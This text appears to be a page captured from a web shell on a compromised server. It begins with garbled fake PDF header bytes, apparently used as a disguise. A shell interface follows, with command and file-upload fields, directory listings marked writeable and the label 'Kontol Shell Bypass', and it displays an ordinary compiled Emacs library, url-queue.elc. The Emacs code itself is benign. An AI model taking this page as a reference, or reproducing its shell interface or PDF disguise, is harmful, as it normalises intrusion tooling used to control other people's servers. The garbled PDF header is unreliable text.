%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/url/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/url/url-queue.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\210\303\304\305\306\307\310\311\312\313\314&	\210\303\315\316\317\307\310\311\312\313\314&	\207" [require browse-url url-parse custom-declare-variable url-queue-parallel-processes 6 "The number of concurrent processes." :version "24.1" :type integer :group url url-queue-timeout 5 "How long to let a job live once it's started (in seconds)."] 10)
(defvar url-queue nil)
(defalias 'url-queue-p--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-p (declare (side-effect-free error-free)) (and (vectorp cl-x) (>= (length cl-x) 9) (memq (aref cl-x 0) cl-struct-url-queue-tags) t)) nil] 7])
(put 'url-queue-p 'compiler-macro 'url-queue-p--cmacro)
(defalias 'url-queue-p #[(cl-x) "\302!\205G\303Y\205\304H	>\205\305\207" [cl-x cl-struct-url-queue-tags vectorp 9 0 t] 2])
(byte-code "\300\301\302\303#\210\304\305\306\301#\207" [function-put url-queue-p side-effect-free error-free put url-queue cl-deftype-satisfies] 4)
(defalias 'url-queue-url--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-url (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-queue-tags)) (signal 'wrong-type-argument (list 'url-queue cl-x))) (aref cl-x 1)) nil] 7])
(put 'url-queue-url 'compiler-macro 'url-queue-url--cmacro)
(defalias 'url-queue-url #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-queue-tags 0 signal wrong-type-argument url-queue 1] 4])
(function-put 'url-queue-url 'side-effect-free t)
(defalias 'url-queue-callback--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-callback (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-queue-tags)) (signal 'wrong-type-argument (list 'url-queue cl-x))) (aref cl-x 2)) nil] 7])
(put 'url-queue-callback 'compiler-macro 'url-queue-callback--cmacro)
(defalias 'url-queue-callback #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-queue-tags 0 signal wrong-type-argument url-queue 2] 4])
(function-put 'url-queue-callback 'side-effect-free t)
(defalias 'url-queue-cbargs--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-cbargs (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-queue-tags)) (signal 'wrong-type-argument (list 'url-queue cl-x))) (aref cl-x 3)) nil] 7])
(put 'url-queue-cbargs 'compiler-macro 'url-queue-cbargs--cmacro)
(defalias 'url-queue-cbargs #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-queue-tags 0 signal wrong-type-argument url-queue 3] 4])
(function-put 'url-queue-cbargs 'side-effect-free t)
(defalias 'url-queue-silentp--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-silentp (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-queue-tags)) (signal 'wrong-type-argument (list 'url-queue cl-x))) (aref cl-x 4)) nil] 7])
(put 'url-queue-silentp 'compiler-macro 'url-queue-silentp--cmacro)
(defalias 'url-queue-silentp #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-queue-tags 0 signal wrong-type-argument url-queue 4] 4])
(function-put 'url-queue-silentp 'side-effect-free t)
(defalias 'url-queue-buffer--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-buffer (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-queue-tags)) (signal 'wrong-type-argument (list 'url-queue cl-x))) (aref cl-x 5)) nil] 7])
(put 'url-queue-buffer 'compiler-macro 'url-queue-buffer--cmacro)
(defalias 'url-queue-buffer #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-queue-tags 0 signal wrong-type-argument url-queue 5] 4])
(function-put 'url-queue-buffer 'side-effect-free t)
(defalias 'url-queue-start-time--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-start-time (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-queue-tags)) (signal 'wrong-type-argument (list 'url-queue cl-x))) (aref cl-x 6)) nil] 7])
(put 'url-queue-start-time 'compiler-macro 'url-queue-start-time--cmacro)
(defalias 'url-queue-start-time #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-queue-tags 0 signal wrong-type-argument url-queue 6] 4])
(function-put 'url-queue-start-time 'side-effect-free t)
(defalias 'url-queue-pre-triggered--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-pre-triggered (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-queue-tags)) (signal 'wrong-type-argument (list 'url-queue cl-x))) (aref cl-x 7)) nil] 7])
(put 'url-queue-pre-triggered 'compiler-macro 'url-queue-pre-triggered--cmacro)
(defalias 'url-queue-pre-triggered #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-queue-tags 0 signal wrong-type-argument url-queue 7] 4])
(function-put 'url-queue-pre-triggered 'side-effect-free t)
(defalias 'url-queue-inhibit-cookiesp--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-queue-inhibit-cookiesp (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-queue-tags)) (signal 'wrong-type-argument (list 'url-queue cl-x))) (aref cl-x 8)) nil] 7])
(put 'url-queue-inhibit-cookiesp 'compiler-macro 'url-queue-inhibit-cookiesp--cmacro)
(defalias 'url-queue-inhibit-cookiesp #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-queue-tags 0 signal wrong-type-argument url-queue 8] 4])
(byte-code "\300\301\302\303#\210\304\305\306\"\207" [function-put url-queue-inhibit-cookiesp side-effect-free t defalias copy-url-queue copy-sequence] 4)
#@109 

(fn CL-WHOLE &cl-quote &key URL CALLBACK CBARGS SILENTP BUFFER START-TIME PRE-TRIGGERED INHIBIT-COOKIESP)
(defalias 'make-url-queue--cmacro #[(cl-whole &rest #1=#:--cl-rest--) "\306\307\"A@\306\310\"A@\306\311\"A@\306\312\"A@\306\313\"A@\306\314\"A@\306\315\"A@\306\316\"A@\203n@\317>\203UAA\211\202@\320>A@\203d\321\211\202@\322\323@\"\210\202>)\324\325\326\321\321	\n\f
&
.\207" [#1# url callback cbargs silentp buffer plist-member :url :callback :cbargs :silentp :buffer :start-time :pre-triggered :inhibit-cookiesp (:url :callback :cbargs :silentp :buffer :start-time :pre-triggered :inhibit-cookiesp :allow-other-keys) :allow-other-keys nil error "Keyword argument %s not one of (:url :callback :cbargs :silentp :buffer :start-time :pre-triggered :inhibit-cookiesp)" cl--defsubst-expand (url callback cbargs silentp buffer start-time pre-triggered inhibit-cookiesp) (cl-block make-url-queue "Constructor for objects of type `url-queue'." (declare (side-effect-free t)) (vector 'cl-struct-url-queue url callback cbargs silentp buffer start-time pre-triggered inhibit-cookiesp)) start-time pre-triggered inhibit-cookiesp #2=#:--cl-keys-- cl-whole] 15 (#$ . 6438)])
(put 'make-url-queue 'compiler-macro 'make-url-queue--cmacro)
#@134 Constructor for objects of type `url-queue'.

(fn &key URL CALLBACK CBARGS SILENTP BUFFER START-TIME PRE-TRIGGERED INHIBIT-COOKIESP)
(defalias 'make-url-queue #[(&rest #1=#:--cl-rest--) "\306\307\"A@\306\310\"A@\306\311\"A@\306\312\"A@\306\313\"A@\306\314\"A@\306\315\"A@\306\316\"A@\203n@\317>\203UAA\211\202@\320>A@\203d\321\211\202@\322\323@\"\210\202>)\324\325	\n\f
&	.\207" [#1# url callback cbargs silentp buffer plist-member :url :callback :cbargs :silentp :buffer :start-time :pre-triggered :inhibit-cookiesp (:url :callback :cbargs :silentp :buffer :start-time :pre-triggered :inhibit-cookiesp :allow-other-keys) :allow-other-keys nil error "Keyword argument %s not one of (:url :callback :cbargs :silentp :buffer :start-time :pre-triggered :inhibit-cookiesp)" vector cl-struct-url-queue start-time pre-triggered inhibit-cookiesp #2=#:--cl-keys--] 11 (#$ . 7728)])
(byte-code "\300\301\302\303#\210\304\305\306\307\306\211\310\311\312\303&	\207" [function-put make-url-queue side-effect-free t cl-struct-define url-queue nil cl-structure-object ((cl-tag-slot) (url) (callback) (cbargs) (silentp) (buffer) (start-time) (pre-triggered) (inhibit-cookiesp)) cl-struct-url-queue-tags cl-struct-url-queue] 10)
#@325 Retrieve URL asynchronously and call CALLBACK with CBARGS when finished.
This is like `url-retrieve' (which see for details of the arguments),
but with limits on the degree of parallelism.  The variable
`url-queue-parallel-processes' sets the number of concurrent processes.
The variable `url-queue-timeout' sets a timeout.
(defalias 'url-queue-retrieve #[(url callback &optional cbargs silent inhibit-cookies) "\306\307\310	\n\f\311\211\211
&	C\"\312 \207" [url-queue url callback cbargs silent inhibit-cookies append vector cl-struct-url-queue nil url-queue-setup-runners] 12 (#$ . 8997)])
(defalias 'url-queue-setup-runners #[nil "\306\307\n\307\211\203L\f@\211\306H
>\204\310\311\302D\"\210\312H\2049\306H
>\2043\310\311\302D\"\210\313H\203?	T\202E\204E\fA\211\204\f*\205u	W\205u\306H
>\204g\310\311\302D\"\210\211\313\314I\210)\315\316\307\317#*\207" [waiting running url-queue entry --dolist-tail-- cl-struct-url-queue-tags 0 nil signal wrong-type-argument 6 7 t run-with-idle-timer 0.01 url-queue-run-queue url-queue-parallel-processes #1=#:v] 5])
(defalias 'url-queue-run-queue #[nil "\306 \210\307\310\n\310\211\203:\f@\211\307H
>\204!\311\312\302D\"\210\313H\203-	T\2023\2043\fA\211\204*\205b	W\205b\307H
>\204U\311\312\302D\"\210\211\313\314 I\210)\315!*\207" [waiting running url-queue entry --dolist-tail-- cl-struct-url-queue-tags url-queue-prune-old-entries 0 nil signal wrong-type-argument 6 float-time url-queue-start-retrieve url-queue-parallel-processes #1=#:v] 5])
(defalias 'url-queue-callback-function #[(status job) "\304	\"\n@\305=\203!\nA@A@\306=\203!\307\310\311\nA@\233\312\"!\210\313 \210\314\315H>\2044\316\317\301D\"\210\320H\n\315H>\204G\316\317\301D\"\210\311HB\"\207" [job url-queue status cl-struct-url-queue-tags delq :error connection-failed url-queue-remove-jobs-from-host plist-get 3 :host url-queue-run-queue apply 0 signal wrong-type-argument 2] 7])
(defalias 'url-queue-remove-jobs-from-host #[(host) "\306	\306\211\203G@\307\n\310H\f>\204\311\312\301\nD\"\210\n\313H!\211\310H>\2042\311\312\314
D\"\210
\315H)\232\203@\nBA\211\204\n*\306\211\205d@\316\n!\210\317\n	\"A\211\204P\306+\207" [jobs url-queue job --dolist-tail-- cl-struct-url-queue-tags cl-x nil url-generic-parse-url 0 signal wrong-type-argument 1 url 4 url-queue-kill-job delq cl-struct-url-tags host] 6])
(defalias 'url-queue-start-retrieve #[(job) "\304H	>\204\305\306\307D\"\210\211\310\3111Y\312\313\304H	>\204)\305\306\307D\"\210\314H\315C\304H	>\204>\305\306\307D\"\210\316H\304H	>\204P\305\306\307D\"\210\317H%)0\202[\210\320I)\207" [job cl-struct-url-queue-tags #1=#:v url-request-noninteractive 0 signal wrong-type-argument url-queue 5 (error) t url-retrieve 1 url-queue-callback-function 4 8 nil] 12])
(defalias 'url-queue-prune-old-entries #[nil "\306	\306\211\203G@\211\307H\f>\204\310\311\301\nD\"\210\n\312H\203@\313 \n\307H\f>\2043\310\311\301\nD\"\210\n\312HZ
V\203@\nBA\211\204\n*\306\211\205d@\314\n!\210\315\n	\"A\211\204P\306+\207" [dead-jobs url-queue job --dolist-tail-- cl-struct-url-queue-tags url-queue-timeout nil 0 signal wrong-type-argument 6 float-time url-queue-kill-job delq] 6])
(defalias 'url-queue-kill-job #[(job) "\303\304H	>\204\305\306\307D\"\210\310H!\203K\311\312\304H	>\204)\305\306\307D\"\210\310H!\211\203J\313\n\314\"\210\3151B\316\n!0\202F\210\202\210\202)r\303\304H	>\204\\\305\306\307D\"\210\310H!\203\217\317\304H	>\204s\305\306\307D\"\210\310H!\203\217\304H	>\204\211\305\306\307D\"\210\310H\202\222\320\321!q\210\322\304H	>\204\244\305\306\307D\"\210\323H\324\325\326\327ED\304H	>\204\274\305\306\307D\"\210\330HB\")\207" [job cl-struct-url-queue-tags process bufferp 0 signal wrong-type-argument url-queue 5 nil get-buffer-process set-process-sentinel ignore (error) delete-process buffer-live-p generate-new-buffer " *temp*" apply 2 :error error url-queue-timeout "Queue timeout exceeded" 3] 7])
(provide 'url-queue)

Kontol Shell Bypass